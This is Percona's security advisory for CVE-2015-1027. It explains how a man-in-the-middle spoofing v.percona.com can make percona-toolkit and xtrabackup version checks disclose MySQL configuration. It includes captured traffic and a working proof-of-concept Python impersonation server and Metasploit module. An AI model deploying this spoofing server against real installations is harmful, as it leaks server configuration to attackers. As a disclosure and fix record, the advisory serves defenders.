Percona Security Advisory CVE-2015-1027 percona-toolkit, xtrabackup mysql configuration disclosure # Contents 1. Summary 2. Analysis 3. Mitigating factors 4. P.O.C 5. Acknowledgments # Summary During a code audit performed internally at Percona, we discovered a viable information disclosure attack when coupled with a MITM attack in which percona-toolkit and xtrabackup perl components could be coerced into returning additional MySQL configuration information. ## Timeline 2014-12-16 Initial research, proof of concept exploitation and report completion 2015-01-07 CVE reservation request to Mitre, LP 1408375 2015-01-10 CVE-2015-1027 assigned 2015-01-16 Initial fix code completion, testing against POC verified fix 2015-01-23 Internal notification of impending 2.2.13 release of Percona-toolkit 2015-01-26 2.2.13 percona toolkit released: blog post 2015-02-17 2.2.9 xtrabackup released: blog post 2015-05-06 Publication of this document # Analysis The vulnerability exists in the --version-check functionality of the perl scripts (LP 1408375), whilst the fix implemented for CVE-2014-2029 (LP 1279502) did patch the arbitrary command execution, MySQL configuration information may still be exfiltrated by this method. The normal HTTP/HTTPS conversation is as follows during a --version-check call. GET / HTTP/1.1 User-Agent: HTTP-Micro/0.01 Connection: close Host: v.percona.com HTTP/1.0 200 OK Date: Mon, 15 Dec 2014 13:43:12 GMT Server: Apache Set-Cookie: PHPSESSID=bjtu6oic82g07rgr9b5906qrg1; path=/ cache-control: no-cache Content-Length: 144 Vary: Accept-Encoding Connection: close Content-Type: text/plain; charset=UTF-8 X-Pad: avoid browser bug OS;os_version MySQL;mysql_variable;version_comment,version Perl;perl_version DBD::mysql;perl_module_version Percona::Toolkit;perl_module_version POST / HTTP/1.1 User-Agent: HTTP-Micro/0.01 Content-Type: application/octet-stream Connection: close X-Percona-Toolkit-Tool: pt-online-schema-change Content-Length: 287 Host: v.percona.com d6ca3fd0c3a3b462ff2b83436dda495e;DBD::mysql;4.021 1b6f35cca661d68ad4dfceeebfaf502e;MySQL;(Debian) 5.5.40-0+wheezy1 d6ca3fd0c3a3b462ff2b83436dda495e;OS;Debian GNU/Linux Kali Linux 1.0.9 d6ca3fd0c3a3b462ff2b83436dda495e;Percona::Toolkit;2.2.12 d6ca3fd0c3a3b462ff2b83436dda495e;Perl;5.14.2 HTTP/1.0 200 OK Date: Mon, 15 Dec 2014 13:43:13 GMT Server: Apache Set-Cookie: PHPSESSID=nnm4bs99gef0rhepdnclpin233; path=/ cache-control: no-cache Content-Length: 0 Vary: Accept-Encoding Connection: close Content-Type: text/plain; charset=UTF-8 X-Pad: avoid browser bug The issue centers around the interpretation of the response string MySQL;mysql_variable;version_comment,version This could be modified to extract additional information, for example the ssl_key path. MySQL;mysql_variable;version_comment,version,ssl_key The program flow for --version-check is as follows pingback -> parse_server_response -> get_versions -> sub_for_type. The issue is the literal lookup of MySQL variables version_comment, version, ssl_key (version 2.2.13 hard codes these to version_comment,version). There also exists an issue with silent HTTP "downgrade" when SSL connection fails in versions < 2.2.13. 7077 my $protocol = 'https'; # optimistic, but... 7078 eval { require IO::Socket::SSL; }; 7079 if ( $EVAL_ERROR ) { 7080 PTDEBUG && _d($EVAL_ERROR); 7081 $protocol = 'http'; 7082 } # Mitigating factors This does require an existing presence in order to perform the MITM attack, and spoof responses from v.percona.com. This attack is limited to disclosing MySQL configuration information only, no data exfiltration is known via this method at this time. # POC ## Python stand alone from SimpleHTTPServer import SimpleHTTPRequestHandler import BaseHTTPServer import ssl __author__ = "David Busby " __cve_assignments__ = ['2015-1027',] __description__ = "Proof of concept HTTPS impersonation of v.percona.com percona-toolkit version check" class poc(BaseHTTPServer.BaseHTTPRequestHandler): def do_GET(self): """ Toolkit doesn't appear to do any verification of the response but let's send some headers Example response: HTTP/1.0 200 OK Date: Mon, 15 Dec 2014 13:43:12 GMT Server: Apache Set-Cookie: PHPSESSID=bjtu6oic82g07rgr9b5906qrg1; path=/ cache-control: no-cache Content-Length: 144 Vary: Accept-Encoding Connection: close Content-Type: text/plain; charset=UTF-8 X-Pad: avoid browser bug OS;os_version MySQL;mysql_variable;version_comment,version Perl;perl_version DBD::mysql;perl_module_version Percona::Toolkit;perl_module_version """ self.send_response(200) self.send_header('Server' , 'Apache') self.send_header('Set-Cookie' , 'PHPSESSID=bjtu6oic82g07rgr9b5906qrg1; path=/') self.send_header('cache-contol' , 'no-cache') #in pt-osc at least the program flow appears to be #pingback -> parse_server_response -> get_versions -> sub_for_type #sub_for_type appears to prevent arbitrary SOME::MODULE;command_sub from being executed #the split is type;item;vars from the code splitting on ; #if command injection is to occur it would be here command_payload = """OS;os_version MySQL;mysql_variable;version_comment,version Perl;perl_version DBD::mysql;perl_module_version Percona::Toolkit;perl_module_version """ self.send_header('Content-Length' , len(command_payload)) self.send_header('Vary' , 'Accept-Encoding') self.send_header('Connection' , 'close') self.send_header('Content-Type' , 'text/plain; charget=UTF-8') self.send_header('X-Pad' , 'avoid browser bug') self.end_headers() #send the payload self.wfile.write(command_payload) print '[+] Got Percona Toolkit GET request, replied with payload {}'.format(command_payload) def do_POST(self): self.send_response(200) """ Handel the toolkits POST, example normal request and response POST / HTTP/1.1 User-Agent: HTTP-Micro/0.01 Content-Type: application/octet-stream Connection: close X-Percona-Toolkit-Tool: pt-online-schema-change Content-Length: 287 Host: v.percona.com d6ca3fd0c3a3b462ff2b83436dda495e;DBD::mysql;4.021 1b6f35cca661d68ad4dfceeebfaf502e;MySQL;(Debian) 5.5.40-0+wheezy1 d6ca3fd0c3a3b462ff2b83436dda495e;OS;Debian GNU/Linux Kali Linux 1.0.9 d6ca3fd0c3a3b462ff2b83436dda495e;Percona::Toolkit;2.2.12 d6ca3fd0c3a3b462ff2b83436dda495e;Perl;5.14.2 HTTP/1.0 200 OK Date: Mon, 15 Dec 2014 13:43:13 GMT Server: Apache Set-Cookie: PHPSESSID=nnm4bs99gef0rhepdnclpin233; path=/ cache-control: no-cache Content-Length: 0 Vary: Accept-Encoding Connection: close Content-Type: text/plain; charset=UTF-8 X-Pad: avoid browser bug """ #self.send_response(200) #throws a connection reset by peer ... self.send_header('Server' , 'Apache') self.send_header('Set-Cookie' , 'PHPSESSID=bjtu6oic82g07rgr9b5906qrg1; path=/') self.send_header('cache-contol' , 'no-cache') self.send_header('Content-Length' , 0) self.send_header('Vary' , 'Accept-Encoding') self.send_header('Connection' , 'close') self.send_header('Content-Type' , 'text/plain; charget=UTF-8') self.send_header('X-Pad' , 'avoid browser bug') self.end_headers() print '[+] Got Percona Toolkit POST payload {}'.format(self.rfile.read()) def main(): server_class = BaseHTTPServer.HTTPServer httpd = server_class(('',443),poc) httpd.socket = ssl.wrap_socket(httpd.socket, certfile="poc.pem", server_side=True) httpd.serve_forever() if __name__ == '__main__': main() ## MSF Module require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'v.percona.com impersonation exploit', 'Description' => %q{ You still need to MITM the version-check request, this exploit provide the http server to ex-filtrate mysql configuration data }, 'License' => MSF_LICENSE, 'Author' => [ 'David Busby ' ], 'References' => [ [ 'CVE', '2015-1027' ] ], 'Platform' => [ 'win' ], 'Targets' => [ ['Universal', {}] ], 'DisclosureDate' => 'May 06 2015', 'DefaultTarget' => 0)) register_options( [ OptString.new('COMMAND', [ true, 'The command we want the checking in toolkit to run on the remote system', 'MySQL;mysql_variable;version_comment,version']), OptString.new('URIPATH', [ true, 'The URI to use for this exploit (default is /)', '/' ]) ], self.class) end def on_request_uri(cli, request) case request.method when 'GET' print_status("Received GET request, replied with command string: #{datastore['COMMAND']}") send_response(cli, datastore['COMMAND']) when 'POST' print_status("Received POST request body: #{request.body} ") end end end # Acknowledgments Frank C - Percona (percona-toolkit dev) Alexey K - Percona (percona-xtrabackup dev) Peter S - Percona (Opensource director) David B - Percona (ISA)